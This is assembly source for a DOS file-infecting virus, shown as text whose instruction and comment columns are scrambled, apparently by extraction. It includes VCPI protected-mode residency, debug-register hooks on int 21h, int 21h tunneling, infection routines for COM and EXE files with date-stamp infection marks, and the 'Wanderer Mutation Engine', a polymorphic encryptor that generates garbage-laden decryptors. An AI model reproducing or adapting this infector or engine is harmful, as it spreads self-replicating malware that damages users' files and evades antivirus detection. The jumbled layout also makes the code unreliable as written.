ecx,4 ecx,10h dx,0000000010001001b ebx,67h build_descriptor ecx ecx,100h

; Addr. directory page table ; TSS in dir.page table + 10h ; Access rights: System, DPL 0, ; available 386 TSS, present ; Limit ; Addr. directory page table ; GDT in dir.page table + 100h

push pop cli mov movzx mov shl int

ds:base_gdt,ecx

ax,cs esi,ax ax,0DE0Ch esi,4 add esi,offset(system_registers) 67h ; VCPI - Switch to protected mode ; ESI = linear address in first megabyte of ; values for system registers ; Return: interrupts disabled ; GDTR, IDTR, LDTR, TR loaded jmp $

ofs_i1 seg_i1 save_ss save_sp

dw dw dw dw

0 0 0 0

int_1: push push push mov bp ds si bp,sp lds cmp je si ds bp

si,[bp+6] word ptr [si],9090h found_i21_entry

; Get return address from stack ; NOP+NOP? (int 21h entry point) ; Yes? then jmp

pop pop pop iret tunnel_i21: mov int

mov mov int push push

ax,3501h 21h ; Get int 1h vector (trace) mov ds:ofs_i1,bx mov ds:seg_i1,es dx,offset(int_1) ah,25h 21h ; Set new int 1h cs cs mov ds:save_ss,ss ; Save stack mov ds:save_sp,sp

cld pushf pushf pop or

ax ax,100h

; Read flags ; Set bit trace on

push xor mov mov push pop popf

ax ax,ax ds,ax ah,30h cs es

; DS := 0 ; Get DOS version

xor mov mov mov movsw movsw pop push jmp found_i21_entry: mov mov mov lodsw pop restore_i1: xor mov mov

; Activate int 1h tunneler call dword ptr ds:[21h*4] pop es ax,ax ds,ax ; DS := 0 di,offset(ofs_i21) si,21h*4

ds cs restore_i1

mov ss,cs:save_ss sp,cs:save_sp si,[si+8] lodsw cs:ofs_i21,ax ds mov

; Restore stack

; Store int 21h entry point

ds:seg_i21,ax

ax,ax es,ax ; ES := 0 di,1h*4 mov si,offset(ofs_i1) movsw ; Restore int 1h es

movsw pop ret ; PM Entry point pm_entry_point:

mov mov mov mov mov mov mov movzx inc shr xor bx,bx xor eax,eax l_next_gdt_entry: add add cmp jne mov mov mov mov call

ax,DATACS_SEL ss,ax sp,offset(_stack) es,ax ax,ALLMEM_SEL ds,ax esi,es:GDT_base ecx,es:GDT_limit ecx ecx,3

; Stack descriptor ; Extra data descriptor ; Data descriptor

; First entry unused ; Number of entries in GDT

esi,8 bx,00001000b eax,[esi+4] next_gdt_entry es:virus_selector,bx ebx,0FFFh ecx,es:page_1 dx,0000000010011011b build_descriptor

; ; ; ;

Next descriptor Next selector Available entry? No? then jmp

; Limit 4K ; Access rights: Code, Readable, ; present, accessed, DPL 0

xor

add esi,8 ecx,ecx mov ebx,0FFFFFFFFh mov dx,1000000010010010b call jmp build_descriptor search_pagetable

; Next descriptor ; Limit (4GB : granurality on) ; Access rights: Data, Writable, ; present, DPL 0

next_gdt_entry: loop no_descriptor: jmp no_descriptor ; Descriptor not found in GDT l_next_gdt_entry

search_pagetable: mov esi,1024*1024 ; l_search_pagetable: add esi,4*1024 ; cmp dword ptr [esi],67h ; jne l_search_pagetable ; cmp dword ptr [esi+4],1067h ; jne l_search_pagetable ; mov es:pagetable,esi movzx eax,word ptr ds:[21h*4] ; movzx ebx,word ptr ds:[21h*4+2] shl ebx,4 ; add eax,ebx mov es:i21h_ep,eax ; call set_breakpoints mov es:infecting,0 ; mov eax,es:page_1 ; mov ebx,eax mov al,67h shr ebx,0Ah mov [esi][ebx],eax mov di,offset(orig_i1) mov ecx,1 ; mov ax,offset(pm_int_1) call build_idt_descriptor add di,6 ; mov ecx,9 ; mov ax,offset(pm_int_9) call build_idt_descriptor push es push ds pop es pop ds xor esi,esi mov edi,ds:page_1 cld mov ecx,1024 db 0F3h,66h,67h,0A5h ; ; movzx eax,saved_sp mov bx,ds:virus_cs push cx push bx ; push cx push bx ; push cx push bx ; push cx push bx ; push cx

1MB 4KB (a page) Page for address 0 ? No? then jmp Page for address 4096 ? No? then jmp Get int 21h vector Calculate physical address Save old int 21h Flag: can infect files Insert vir page in page table

Int 1h (trace)

offset(orig_i9) Int 9h

rep movsd (TASM FIX) Copy (4k) to virus page

GS FS DS ES

push push pop pop

push push movzx

push es ds es ds push pushfd cx push 0 push esp,sp mov call

saved_ss

; SS

eax

; ESP ; Flags ; CS ; EIP

bx offset(free_virmem)

ax,0DE0Ch ; Switch to protected mode (v86 mode) fword ptr cs:pm_ep

pm_int_9: push mov

eax eax,dr7 and cmp je call check_ctrlaltdel: in cmp jne call mov and cmp jne xor mov exit_pm9: pop eax jmp exit_pm1: pop

ax,0000001100001010b ax,0000001100001010b check_ctrlaltdel set_breakpoints al,60h al,53h exit_pm9 set_ds al,ds:[417h] al,0Ch al,0Ch exit_pm9 eax,eax dr7,eax

; ; ; ;

Check breakpoints Removed? No? then jmp else restore them

; Read scan code from keyboard ; DEL key? ; No? then jmp ; Get keyboard status (0:417h) ; CTRL & ALT pressed? ; No? then jmp ; Remove breakpoints if reset

fword ptr cs:orig_i9

eax jmp

fword ptr cs:orig_i1

pm_int_1: push

pop iretd dos_bp:

eax mov test jz test jz xor mov eax

eax,dr6 al,3 exit_pm1 al,2 dos_bp eax,eax dr7,eax

; ; ; ; ; ; ;

Test breakpoint number Breakpoint 0 or 1? No? then jmp Breakpoint 1? Yes? then jmp Else breakpoint 0 Remove breakpoints

pop

xor mov eax or cmp jne mov

eax,eax dr6,eax

; Clear dr6 (never cleared by CPU)

byte ptr [esp+0Ah],1 ; Set RF in stack ax,0BABAh ; Residency check? check_function ; No? then jmp ax,0FACCh ; DOS will try to exec function 0FACCh

; ; _iretd: iretd check_function: cmp je cmp je cmp jne test jne check_prev_inf: cmp je pushad mov xor l_map_page234: mov call db dd call set_ds es,ax mov ecx,cs:page_1 ebp,ebp mov esi,90h cs:infecting,1 kill_copy4infection ax,3506h check_patch ax,4B00h check_prev_inf ah,3Dh _iretd al,0Fh _iretd ; ; ; ; ; ; ; ;

but it doesn't exist, then DOS will return 0FA00h

Get int 6 vector? Yes? then jmp Exec file? Yes? then jmp Open file? No? then jmp For reading? No? then jmp ; Exist a copy for infection? ; Yes? Kill it (finished work)

; Segment 90h (phys. 90000h)

edx,cs:page_2[ebp*4] map_page 66h,67h,89h,9Ch,0A9h offset(old_pages)

mov

inc esi inc bp cmp bp,3 jne l_map_page234 mov esi,cs:page_1 edi,90000h mov ds:[esi+infecting],1 mov [esi+STACK_SIZE],esp mov db ecx,400h 0F3h,66h,67h,0A5h

; ; ; ; ; ; ;

(TASM FIX) mov [ecx+old_pages][ebp*4],ebx Store old page Next 4KB Next page Pages 2,3 and 4 in page table? No? then jmp

; moc [esi+_esp],esp (TASM FIX) ; 4KB ; rep movsd (TASM FIX) ; Copy code

cld

mov mov mov

ax,ss ds,ax esi,esp mov edi,cs:page_1 mov ecx,STACK_SIZE/4 db 0F3h,66h,67h,0A5h

; rep movsd (TASM FIX) ; Copy stack

popad mov

eax,9000h push eax ; push eax ; push dword ptr [esp+20h] ; push dword ptr [esp+20h] ; push eax ; db 66h ; push 0FFEh ; dw 0 ; push 23000h ; push eax ; mov eax,offset(infect_file) push eax ; iretd ; Jump to

GS FS DS ES SS (TASM FIX) PUSH 0FFFEh (dword) ESP (TASM FIX) EFLAGS (VM 8086, RPL 3) CS EIP infect_file task, pm level 3

check_patch: pushad mov add mov

bx,cs mov bx,8 es,bx mov mov

ds,bx

; DS = CS

esi,offset(memory_patch) bp,2 ; Number of patches

cld search_code: mov mov search_patch: dec

edi,90000h eax,[si] edi jz cmp jne movzx mov cmp jne movsx edi,ebx movzx add db jmp

skip_patch es:[edi],eax search_patch ebx,byte ptr [si+4] edx,[si+5] es:[edi][ebx],edx search_patch ebx,byte ptr [si+9]

; Maybe the code it's searching ; No? then jmp

; Code found? ; No? then jmp ; Offset to the patch

add

ecx,byte ptr [si+0Ah] ; Number of bytes to patch si,start_patch1-memory_patch 0F3h,67h,0A4h ; rep movsb (TASM FIX) ; Patch it next_patch

skip_patch: add next_patch: dec jnz jmp memory_patch: ; Patch #1 db db db db db start_patch1: db end_patch1: ; Patch #2 db db db db db start_patch2: db db end_patch2: 0D1h, 0E6h, 83h, 0FEh, 0Ah, 75h, 2, 33h, 0C0h, 89h 42h, 0D6h, 0D1h, 0EEh, 4, 6, 93h ; Patch code 8Dh, 56h, 0D6h, 3 5 36h, 89h, 7, 8Bh 0FCh end_patch2-start_patch2 ; ; ; ; ; Bytes to search (1) Offset to bytes 2 Bytes to search (2) Offset to the patch Patch size 0EBh, 3 ; Patch code 83h, 0c6h, 32h, 81h 0Ah 68h, 4Eh, 9Ch, 9Ah 0Dh end_patch1-start_patch1 ; ; ; ; ; Bytes to search (1) Offset to bytes (2) Bytes to search (2) Offset to the patch Patch size bp search_code exit_21h ; Another patch? ; Yes? then jmp movzx si,ax add ax,[si+0Ah] ; Point next patch

si,start_patch1-memory_patch

infect_file: mov mov push pop cld xor di,dx cx,41h ds es repne jcxz jmp jmp_return_dpl0: jmp check_extension: and mov ax,[di-4] ax,0F0Fh cmp ax,('OC' and 0F0Fh) je executable_file cmp ax,('XE' and 0F0Fh) je executable_file jmp return_dpl0 ; Read file extension ; ; ; ; (*.CO?) COM file? Yes? then jmp (*.EX?) EXE file? Yes? then jmp return_dpl0 ax,ax

scasb ; Search end of path jmp_return_dpl0 ; Found? No? then jmp check_extension ; Yes? then jmp

executable_file: mov si,di sub si,6 std mov cx,7 xor bx,bx l_do_crc: lodsb and al,1Fh add bl,al loop cld cmp jne jmp no_skip_file: mov call xchg push push pop pop call mov

; Make CRC with filename

l_do_crc bl,3Fh no_skip_file return_dpl0 ; Skip filename (CRC) ? ; No? then jmp ; Yes? then jmp

and

mov call

ax,3D02h int_21h ; Open file I/O ax,bx ; BX := handle cs cs ds es initialize_random_seed ax,5700h call int_21h ; Get file date & time mov filedate,dx ; Save mov filetime,cx cl,1Fh cmp cl,11h ; Already infected? je close_file ; Yes? then jmp and byte ptr filetime,0E0h ; Mark infection or byte ptr filetime,11h mov dx,offset(buffer2) ah,3Fh mov cx,BUFFER_SIZE int_21h ; Read cmp ax,BUFFER_SIZE ; Too small? jne close_file ; Yes? then jmp

call

push mov

call pop mov

go_end_file mov ds:filesize_l,ax ; Save original file size mov ds:filesize_h,dx cmp ax,0F000h ; Too big? ja close_file ; Yes? then jmp cmp ds:signature,'ZM' ; EXE file? je infect_exe ; Yes? then jmp mov ds:host_type,0 ; It's a COM file call setup_engine ; Encrypt virus code cx ah,40h mov dx,offset(buffer2) call int_21h ; Write original code (end of file) go_start_file cx ah,40h mov dx,BUFFER_SIZE call int_21h ; Write encrypted virus code mov cx,filetime mov dx,filedate ax,5701h call int_21h mov ah,3Eh int_21h ax,4B00h int 21h

restore_fdate:

mov close_file: call return_dpl0: mov

; Restore file date and time

; Close file

; Re-enter virus int 21h to kill this ; copy done for replication

infect_exe: cmp jb db dw db jne mov ax,ax xchg ds:pages,5 close_file 83h, 3Eh offset(max_mem) 0FFh close_file ds:host_type,1 ; Too small? ; Yes? then jmp ; (TASM 2.5 FIX. UNNECESSARY IN 4.0) ; ; ; ; cmp ds:max_mem,0FFFFh Needs memory? TSR or exec files? Yes? then jmp It's an EXE file

xor

xor

call

mov cmp ja mov mov mov movzx shl sub cmp jb mov mov movsw movsw ax,ax mov di,offset(val_ip) stosw ; Set to 0 stosw ; Set to 0(vir code starts after header) go_start_file

ax,ds:relo_items ; Numbers of relocation items ; Set it to 0 ds:reloc_items,ax ax,4096 ; Too much items? close_file ; Yes? then jmp ax,ds:ofs_reloc ; Offset of 1st reloc. item ds:ofs_relocitems,ax eax,dword ptr ds:filesize_l ecx,ds:header_size ecx,4 ; Calculate header size eax,ecx ; Total size - header size eax,1000h ; Loadable module too small? close_file ; Yes? then jmp si,offset(val_ip) di,offset(file_exeIP) ; Save Exe IP ; Save Exe CS

push

pop push

pop push

call pop

mov cx,100h mov ah,40h mov dx,offset(buffer2) call int_21h ; Save modified header xor cx,cx mov dx,ds:header_size shl dx,4 ; Calculate size header dx mov ax,4200h call int_21h ; Lseek after header mov dx,offset(buffer2) mov ah,3Fh mov cx,BUFFER_SIZE call int_21h ; Read original code call setup_engine ; Encrypt virus code dx cx xor cx,cx mov ax,4200h call int_21h ; Lseek after header mov ah,40h cx cx mov dx,BUFFER_SIZE call int_21h ; Save encrypted virus code after header go_end_file cx mov dx,offset(buffer2) mov ah,40h call int_21h ; Save original code (end of file) jmp restore_fdate

go_start_file: mov xor xor ret go_end_file: xor xor mov ret int_21h: pushf ofs_i21 seg_i21 mov

ax,4200h dx,dx cx,cx call int_21h

; Lseek start

dx,dx cx,cx ax,4202h call int_21h

; Lseek end

db 9Ah dw 0 dw 0 jnc no_i21_error ax,4B00h int 21h

; call far int 21h

; If error then re-enter virus int 21h ; to remove the virus copy done for ; infection

no_i21_error: ret

; Prepare to call mutation engine setup_engine: push bx

mov

mov pusha

ax,0FFFFh call get_n_random ; Get random mask [0..0FFFEh] mov ds:xor_mask,ax call encrypt_infection_routine ; Encrypt mov si,100h ; Always starts at DS:100h (EXE & COM) mov bp,si mov cx,VIRUS_SIZE mov di,offset(buffer1) mov ax,160h bx,si push push call mov pop pop ds:random1 ds:random2 mutation_engine ds:size_in_file,cx ds:random2 ds:random1

; Encrypt to calculate the ; increase size in file

popa call call bx mutation_engine ; Encrypt virus code encrypt_infection_routine ; Decrypt inf. routine

pop ret

encrypt_infection_routine: ; Encrypt/decrypt the infection routine pusha mov si,offset(infect_file) mov cx,offset(return_dpl0)-offset(infect_file) mov ax,ds:xor_mask l_enc: xor [si],ax inc si inc si loop l_enc popa ret

filesize_l filesize_h size_in_file xor_mask file_exeIP file_reloCS reloc_items ofs_relocitems

dw dw dw dw dw dw dw dw

0 0 0 0 0 0 0 0

; Wanderer Mutation Engine ; Parameters : ; DS:SI -> code to encrypt ; ES:DI -> buffer ; CX -> size ; BP -> delta offset (runtime offset) ; AX -> max size of decryptor ; BX -> min size of decryptor ; Return : ; CX -> size of decryptor + data encrypted mutation_engine: mov mov mov mov enc_buffer,di delta_ofs,bp mask_dec_ofs,0 end_encryptor,0C3h ; Addr. buffer ; Addr. source code ; RET

push pop

mov

mov

xchg div sub xor mov

shr

xor l_gen_op: push

mov cs es sub call add mov add rep ax,2 call mov ax,5 call add ax,cx mov cl cl,4 mov ah,ah mov al,3 call inc or mov call mov call mov add mov mov mov mov mov add call call mov mov call shr call mov mov call cx,1 call mov ch,ch cx call call call cx loop mov or call

code_size,cx

; Number of bytes to encrypt

ax,bx get_n_random ax,bx decryptor_size,ax di,ax movsb get_n_random ptr_select_reg,ax get_n_random al,0Ah ax,decryptor_size

; Decryptor size in [BX..AX] ; [0..AX-BX] ; [BX..AX] ; Space for decryptor in buffer ; Copy code to encrypt ; [0,1]

; [0..4] ; [0Ah..0Eh]

operations,cl max_garbage,ax

; Number of encryption ops ; Max garbage per operation [0..2] AL in [1..3] Opcode for decreasing counter

get_n_random ; al ; ds:op_dec_counter,al ; ds:reg_counter,al get_garbage_number di,enc_buffer generate_garbage bx,offset(register_table) bx,ptr_select_reg ; al,[bx] ; indexreg_op1,al ; dl,[bx+2] ; ds:indexreg_op2,dl ; bp,decryptor_size bp,delta_ofs get_garbage_number generate_mov ; dl,ds:reg_counter bp,code_size get_garbage_number cx,1 ; generate_mov ; ds:in_loop,1 ofs_loop_begin,di ; get_garbage_number generate_garbage cl,operations

Select registers in table Register 0 (SI) or 1 (DI) Index for operations Register 2 (SI) or 3 (DI) Index register

Load a reg with delta-ofs

Decrypt words Load a reg with # of loops Start of loop code

; Number of operations

generate_operation get_garbage_number generate_garbage l_gen_op al,40h al,ds:indexreg_op2 get_garbage_number

pop

; Gen. inc index reg (SI | DI)

stosb

inc inc push movsw movsw movsw pop add neg

call mov sub cx cx si mov

generate_garbage cx,di cx,ofs_loop_begin

; End loop ; Calculate loop size

si,offset(code_loop)

; Generate end-loop code

si cx,4 cx mov jmp

[di-2],cx fill_with_garbage

; Jmp to begin of loop

code_loop: op_dec_counter

db jz db

48h end_code_loop 0e9h,0,0

; dec reg_counter: DEC CX | DX | BX ; jmp to start of decryption loop

end_code_loop: ;;;; Unused code ! ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov al,0E2h ; LOOP opcode stosb ; Store it xchg al,cl neg al ; loop jmp stosb ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; fill_with_garbage: mov add sub mov call push di mov mov add mov or or mov sti db mov_pointerreg_bx db l_encrypt_code: cli call sti inc_pointerreg db loop pop cx mov sub add mov mov mov and and and

cx,decryptor_size cx,enc_buffer cx,di ds:in_loop,0 generate_garbage cx,code_size bx,decryptor_size bx,enc_buffer al,ds:indexreg_op2 ds:mov_pointerreg_bx,al ds:inc_pointerreg,al ax,ds:encryptor_ptr 89h 0D8h

; Fill buffer with garbage ; Loop finished

; mov index register,bx

ds:encryptor_ptr 40h l_encrypt_code ; inc index register

dx,enc_buffer cx,dx cx,code_size ds:encryptor_ptr,offset(end_encryptor) ; Reset buffers ds:ofs_endencryptor,offset(end_encryptor) al,0F8h ds:mov_pointerreg_bx,al ; Clear registers ds:inc_pointerreg,al ds:op_dec_counter,al

ret register_table: db db db db generate_operation: mov ax,7 call shl mov add mov cmp ja mov or mov mov or scasw cmp jb mov sub ret get_inst_mask: mov call mov mov stosb mov mov sub ret get_immaddr: cmp mask_dec_ofs,0 ; Any mask instruction? jz no_mask_inst ; No? then jmp mov bx,ds:ofs_endencryptor ; Add inst at end of encryptor ax,[si] stosw ; Add instruction to decryptor ax,[si+2] mov [bx],ax ; Add instruction to encryptor mov ax,mask_dec_ofs ; Calculate mask address in decryptor add ax,delta_ofs sub ax,enc_buffer stosw ; Add address to instruction mov ax,mask_enc_ofs ; Calculate mask address in encryptor ax mov [bx+2],ax ; Add to encryptor al,0FFh call get_n_random ; [0..0FEh] stosb ; Value for adding to the mask [bx+4],al add ds:ofs_endencryptor,5 ; New end of encryptor mov byte ptr [bx+5],0C3h ; Add a RET at end mov mask_dec_ofs,0 al,0FFh get_n_random ; Get mask [0..0FEh] mask_dec_ofs,di ; Save current offsets mask_enc_ofs,bx ; Add mask to decryptor [bx-3],cx ; Add instruction to encryptor [bx-1],al ; Add mask to encryptor ds:encryptor_ptr,3 4 5 6 7 ; ; ; ; SI DI SI DI

get_n_random ; [0..6] ax,2 ; AX in [0,4,8,...,24] si,offset(operation_table) si,ax ; Select operation bx,ds:encryptor_ptr al,20 ; Needs an immediate address? get_immaddr ; Yes? then jmp cx,[si] ; Get decryptor opcode ch,indexreg_op1 ; Insert op register [di],cx ; Add to decryptor cx,[si+2] ; Get encryptor opcode ch,indexreg_op1 ; Insert op register ; SI+2, DI+2 al,12 ; Inst. needs a mask? get_inst_mask ; Yes? then jmp [bx-2],cx ; Add to encryptor ds:encryptor_ptr,2 ; Next encryptor entry

mov mov

dec mov

mov

no_mask_inst:

ret operation_table: db db db db db db db db db db db db db db 80h,30h 80h,30h 80h,0 80h,28h 0C0h,0 0C0h,8 0D0h,0 0D0h,8 0F6h,18h 0F6h,18h 0FEh,0 0FEh,8 80h,6 80h,6 ; xor byte ptr [index],?? ; xor byte ptr [index],?? ; add byte ptr [index],?? ; sub byte ptr [index],?? ; rol byte ptr [index],?? ; ror byte ptr [index],?? ; rol byte ptr [index],1 ; ror byte ptr [index],1 ; neg byte ptr [index] ; neg byte ptr [index] ; inc byte ptr [index] ; dec byte ptr [index] ; add byte ptr [imm],?? ; add byte ptr [imm],??

generate_mov: mov call mov xchg aad add lodsb shl xchg call ret mov_select: dw dw mov_r1: movsw or xchg stosw call ret mov_r2: push push mov call shl add xchg movsw or shl or offset(mov_r1) offset(mov_r2) ; Generates: mov reg(dl),value(bp) ; Store instruction opcodes [di-1],dl ; Set destination register ax,bp ; Store delta offset generate_garbage ax,4 get_n_random ; [0..3] si,offset(mov_table) al,ah 3 ; Select mov type si,ax ax,1 ; Check if needs to use routine 1 or 0 ax,bx [bx+offset(mov_select)]

; Generates: (xor | sub) reg(dl),reg(dl) ; (add | xor | or) reg(dl),value(bp) si dx ax,2 get_n_random ; 0 or 1 ax,1 ; Select instruction (clear register) ax,offset(reg0_table) ax,si ; Store instruction zero register [di-1],dl ; Destination register dl,3 [di-1],dl ; Source reg. (same as destination)

shr push push call pop pop pop pop movsw or xchg stosw call ret mov_table: db db db db db db db db reg0_table: db db

cx,1 cx bp generate_garbage bp cx dx si [di-1],dl ax,bp generate_garbage ; Store instruction ; Destination register ; Store delta offset

0 0C7h,0C0h 1 81h,0C8h 1 81h,0C0h 1 81h,0F0h

; ; ; ; ; ; ; ;

Use mov_r1 MOV reg,imm Use mov_r2 OR reg,imm Use mov_r2 ADD reg,imm Use mov_r2 XOR reg,imm

29h,0C0h 31h,0C0h

; SUB reg,reg ; XOR reg,reg

get_garbage_number: mov call xchg ax,cx ret generate_garbage: and jnz ret do_garbage: mov l_select_entry: mov ax,1Fh call mov dl,al inc process_table_entry: mov cmp jne mov jmp check_entry: mov

ax,max_garbage get_n_random

; [0..max_garbage-1]

cx,cx do_garbage

; Generate garbage? ; Yes? then jmp

si,offset(garbage_table)

get_n_random dl

; [0..1Eh] ; DL in [1..1Fh]

al,[si] ; Read entry al,4Eh ; End of table? check_entry ; No? then jmp si,offset(garbage_table) process_table_entry

dec

dh,al and cbw and jz dl shr

al,0Fh dl,dl generate_block dh,4

; ; ; ;

Get number of opcodes AH:=0 (b'cos AL<80h) Generate this instruction block? Yes? then jmp

; Calculate next table entry address :

add inc inc

add si,ax si si jmp

al,dh

;

#opcodes + #patches + 2

process_table_entry

generate_block: push cx sub test pop cx jne mov mov cmp ja bh,bl test jne cmp je

cx,ax ch,80h

; Sub instruction size from garbage ; Instruction too big?

l_select_entry ; Yes? then jmp (don't generate) ds:garbagetogen,cx ; Remaining garbage bl,[si+1] ; Read block flags ds:jmp_ofs,bl ; Allowed instruction? (don't allow ; cond.jmp inside another cond.jmp) l_select_entry ; No? then jmp bl,40h loop_ok ds:in_loop,1 l_select_entry ; ; ; ; Can be in Yes? then Is in the Yes? then the decryptor loop? jmp loop? jmp

mov

loop_ok: push mov call pop ax ax,3Fh and bl,al get_n_random cmp bl,al ax jb l_select_entry inc si si cx bx,bx bl,dh and bl,0F0h bl,4 bx mov cx,ax si di add si,bx rep movsb di si mov cx,bx dec cx jcxz done_patches si mov dl,al and cbw bp,ax al,dl and al,3 bx,ax add call loop

; Get block probabilities ; Generate block? ; No? then jmp

push push xor mov shr inc push push

; get # of patches

; # of opcodes

; Generate block

pop pop

; # of patches ; Any patch? ; No? then jmp

l_do_patches: inc mov

al,[si] al,0Fh

; Read patch from table ; Get byte to patch

mov mov shr mov

al,0F0h

; Get function to use

bx,offset(function_table) word ptr [bx] ; Call function l_do_patches

done_patches:

pop pop mov cbw

cx si al,dh and shr sub add add add inc mov and jz test jnz add mov sub mov

al,0Fh dh,4 cx,ax di,ax al,dh si,ax si al,ds:jmp_ofs al,al all_garbage? al,80h all_garbage?

; Number of opcodes ; ; ; ; ; ; Number of patches Sub generated # from total garbage Inc buffer pointer opcodes+patches SI points to next table entry

; ; ; ; ; cx,di ; di,previous_ofs ; cx,di ; ds:jmp_ofs,0 cx,cx exit_garbage l_select_entry

Any jmp? No? then jmp Generating a jump? Yes? then jmp else jmp is finished garbage to gen + current offset Save current offset Sub jmp displacement from garbage

all_garbage?: and jz jmp exit_garbage: mov ret previous_ofs,di ; All garbage generated? ; Yes? then jmp ; No? then jmp

function_table: F_G_BYTE dw F_I_OP_REG dw F_I_REG dw F_I_MODRM dw F_I_RM dw F_ADD_0_5 dw F_I_REGRMMOD dw F_G_JXX dw F_G_WORD dw F_I_REG_PRESERVE_MODRM dw F_I_RUNTIME_OFS dw F_I_LAST_REG_SRC dw F_I_LAST_REG_DEST dw

= 0 * 16 offset(generate_byte_word) = 1 * 16 offset(insert_op_reg) = 2 * 16 offset(insert_reg) = 3 * 16 offset(insert_modrm) = 4 * 16 offset(insert_rm) = 5 * 16 offset(add_0_5) = 6 * 16 offset(insert_regrmmod) = 7 * 16 offset(generate_jxx) = 8 * 16 offset(generate_byte_word) = 9 * 16 offset(insert_reg_preserve_modrm) = 10 * 16 offset(insert_runtime_ofs) = 11 * 16 offset(insert_last_reg_src) = 12 * 16 offset(insert_last_reg_dest)

generate_byte_word: mov call

al,0FFh get_n_random

; [0..0FEh]

mov test jz mov call mov ret_gen_b_w: ret insert_mod: mov call and mov shr or or ret insert_reg: mov call and cmp je cmp je push and cmp pop je or mov ret add_0_5: mov call add ret insert_rm: mov call and cmp je or ret insert_modrm: call call ret insert_regrmmod: call shl call call ret

es:[di+bp],al dl,80h ret_gen_b_w al,0FFh get_n_random es:[di+bp+1],al

; Store byte ; Generating word? ; No? then jmp ; [0..0FEh] ; Store another byte

al,0F0h get_n_random al,80h ah,al al,1 al,ah es:[di+bp],al

; [0..0EFh] ; AL:=(80h or 0) ; ; ; ; AL:=(40h or 0) AL:=(0C0h or 0) 0 -> register index 0C0 -> register to register

al,0F0h get_n_random al,7 al,ds:reg_sp insert_reg al,ds:indexreg_op2 insert_reg ax al,3 al,ds:reg_counter ax insert_reg es:[di+bp],al unused_reg,al

; ; ; ; ; ;

[0..0EFh] Select register SP ? Yes? then jmp Used as index ? Yes? then jmp

; Used as counter ? ; Yes? then jmp ; Insert register ; Save for later use

al,6 get_n_random es:[di+bp],al

; [0..5]

al,80h get_n_random al,00000111b al,00000110b insert_rm es:[di+bp],al

; ; ; ;

[0..7Fh] AL in [0..7] immediate address? Yes? Skip it

insert_mod insert_rm

insert_reg byte ptr es:[di+bp],3 insert_rm insert_mod

; Register

insert_op_reg: mov call shl or call ret generate_jxx: mov call or mov dec dec call and mov cbw pusha mov or mov add inc call and popa ret al,10h get_n_random es:[di+bp-1],al ax,ds:garbagetogen ax ax get_n_random ax,3Fh es:[di+bp],al ; [0..0Fh] ; JO,JNO,JB,JNB,JE,JNE,JBE,JA, ; JS,JNS,JP,JNP,JL,JLE,JG ; Don't jmp out of garbage code al,0Fh get_n_random al,3 es:[di+bp],al insert_reg ; [0..0Eh] ; Operation ; ADD, OR, ADC,...

; [0..AX-1] ; jmp offset in [0..3Fh] ; Write offset

cx,ax al,80h ds:jmp_ofs,al di,bp di generate_garbage ds:jmp_ofs,7Fh

; Flag: generating cond. jmp

; Clear flag

insert_reg_preserve_modrm: mov bl,es:[di+bp] mov byte ptr es:[di+bp],0 call insert_reg shl byte ptr es:[di+bp],3 or byte ptr es:[di+bp],bl ret insert_last_reg_src: mov or ret insert_runtime_ofs: mov sub add add ret insert_last_reg_dest: mov shl or ret

; Read mod, r/m

; Insert register ; Previous mod, r/m

al,unused_reg es:[di+bp],al

; Insert register

ax,di ax,enc_buffer ax,delta_ofs es:[di+bp],ax

; Destination offset ; Offset in buffer ; Offset in runtime

al,unused_reg al,3 es:[di+bp],al

; Insert register

; Garbage table format : ; Each entry: ; ; ABh

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

|^Number of bytes in this blocks Number of fix functions CDh : 11111111b ||^^^^^^Generation probabilty of this block when selected |Can be in a loop? (1=yes) Can be generated? (1=always, 0=depend of previous generations) EFh |^Byte to fix Function to use [...] GHh [...] (byte 0) | | Number of fixes | | | List of opcodes in the block |

garbage_table: ; TEST ??,imm8 : db db db db db db db 23h 0FFh F_I_MODRM + 1 F_G_BYTE + 2 0F6h 0 0 ; ; ; ; ; ; ; 2 fixes, Generate Function Function byte 0 byte 1 byte 2 3 bytes always, in loop, 100% F_I_MODRM in byte 1 F_G_BYTE in byte 2

; 1 byte opcodes (CLC, STC, CLI, STI, CLD, STD) : db 11h db 0FFh db F_ADD_0_5 + 0 db 0F8h ; Jxx : db db db db db ; Arithmetic ops : db db db DB db db db db ; DEC reg : db db db db ; NOP or XCHG AX,reg : db db db db ; ROL,ROR,RCL,... reg,1 11h 0FFh F_I_REG + 0 48h 12h 7Fh ; Don't gen a Jxx when another is being gen F_G_JXX + 1 70h 0

24h 0FFh F_I_OP_REG + 1 F_G_WORD + 2 81h 0C0h 0 0

11h 0FFh F_I_REG + 0 90h

db db db db db ; NOP or XCHG AX,reg : db db db db ; NEG reg : db db db db db ; CMP xx,reg : db db db db db ; MOV reg,xxxx : db db db db db db db ; INC reg : db db db db ; IN AL,xx : db db db db db ; MOV reg8,[xxxx] : db db db db db db db db

12h 0FFh F_I_OP_REG + 1 0D1h 0C0h This entry is duplicated !? 11h 0FFh F_I_REG + 0 90h

12h 0FFh F_I_REG + 1 0F7h 0D8h

12h 0FFh F_I_REGRMMOD + 1 38h 0

23h 0FFh F_I_REG + 0 F_G_WORD + 1 0B8h 0 0

11h 0FFh F_I_REG + 0 40h

12h 0FFh F_G_BYTE + 1 0E4h 0

24h 0FFh F_I_REG_PRESERVE_MODRM + 1 F_G_WORD + 2 8Ah 6 0 0

; CMP byte ptr [reg+(reg)+imm16],imm8 : db 35h db 0FFh db F_I_RM + 1 db F_G_WORD + 2

db db db db db db ; NOT reg : db db db db db ; OR reg,... db db db db db db

F_G_BYTE + 4 80h 0B8h 0 0 0

12h 0FFh F_I_REG + 1 0F7h 0D0h

12h 0FFh F_I_REGRMMOD + 1 0Ah 0 4Eh ; End of garbage table mark

jmp_ofs garbagetogen reg_sp reg_counter indexreg_op2 in_loop

db db dw db db db db db

0 0 0 4 81h 86h 80h 0

; Wasted byte! ; SP register

; Wasted byte!

